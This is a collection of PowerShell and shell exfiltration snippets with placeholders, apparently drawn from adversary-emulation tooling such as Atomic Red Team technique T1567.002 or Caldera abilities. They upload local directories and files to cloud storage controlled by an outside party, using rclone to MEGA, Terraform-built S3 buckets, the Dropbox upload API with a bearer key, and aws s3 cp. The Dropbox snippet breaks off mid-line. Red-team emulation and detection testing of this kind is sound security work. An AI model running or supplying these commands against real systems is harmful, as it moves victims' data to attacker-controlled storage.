New-Item #{rclone_config_path}\rclone -ItemType directory
New-Item #{rclone_config_path}\rclone\rclone.conf
cd "#{rclone_path}"
.\rclone.exe config create #{remote_share} mega
set-Content #{rclone_config_path}\rclone\rclone.conf "[#{remote_share}] `n type = mega `n user = #{mega_user_account} `n pass = #{mega_user_password}"
.\rclone.exe copy --max-size 1700k "#{dir_to_copy}" #{remote_share}:test -v

Write-Host "Deploying AWS infrastructure... " -NoNewLine
$awsAccessKey = "#{aws_access_key}"
$awsSecretKey = "#{aws_secret_key}"
cd PathToAtomicsFolder/T1567.002/src/
if ($awsAccessKey -eq "" -or $awsSecretKey -eq "") {
  $env:AWS_PROFILE = "#{aws_profile}"
} else {
  $env:AWS_ACCESS_KEY_ID = "$awsAccessKey"
  $env:AWS_SECRET_ACCESS_KEY = "$awsSecretKey"
}
$null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform init
$null = PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform apply -var "aws_region=#{aws_region}" -auto-approve
Write-Host "Done!"
Write-Host "Generating rclone config... " -NoNewLine
$config = @"
[exfils3]
type = s3
provider = AWS
env_auth = true
region = #{aws_region}
"@
$config | Out-File -FilePath "PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone.conf" -Encoding ascii
Write-Host "Done!"
Write-Host "Exfiltrating data... " -NoNewLine
$bucket = "$(PathToAtomicsFolder/../ExternalPayloads/T1567.002/terraform-v*/terraform output bucket)".Replace("`"","")
cd PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone-v*
$null = ./rclone copy --max-size 1700k "PathToAtomicsFolder/../ExternalPayloads/T1567.002/data/" exfils3:$bucket --config "PathToAtomicsFolder/../ExternalPayloads/T1567.002/rclone.conf"
Write-Host "Done!"

$SourceFile = (Get-Item #{host.dir.compress});
$RemoteName = "$(Get-Date -Format yyyymmddhhmmss)-exfil-#{paw}-$($SourceFile.name)";
$TargetFilePath = "/#{dropbox.target.dir}/$RemoteName";
$ApiKey = "#{dropbox.api.key}";

$url = "https://content.dropboxapi.com/2/files/upload";

$file = [IO.File]::ReadAllBytes($SourceFile);
[net.httpWebRequest] $req = [net.webRequest]::create($url);

$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }';
$authorization = "Bearer " + $ApiKey;

$req.method = "POST";
$req.Headers.Add("Authorization", $authorization);
$req.Headers.Add("Dropbox-API-Arg", $arg);
$req.ContentType = 'application/octet-stream';
$req.ContentLength = $file.length;
$req.TimeOut = 50000;
$req.KeepAlive = $true;
$req.Headers.Add("Keep-Alive: 300");
$reqst = $req.getRequestStream();
$reqst.write($file, 0, $file.length);
$reqst.flush();
$reqst.close();

[net.httpWebResponse] $res = $req.getResponse();
$resst = $res.getResponseStream();
$sr = ne

LocalFile='#{host.dir.compress}';
RemoteName="exfil-#{paw}-$(basename $LocalFile)";
aws s3 cp #{host.dir.compress} s3://#{s3.source.name}/$RemoteName;

s3upload "#{host.dir.compress}" "#{s3.source.region}" "#{s3.source.name}" "aws-#{paw}-compressed" 45s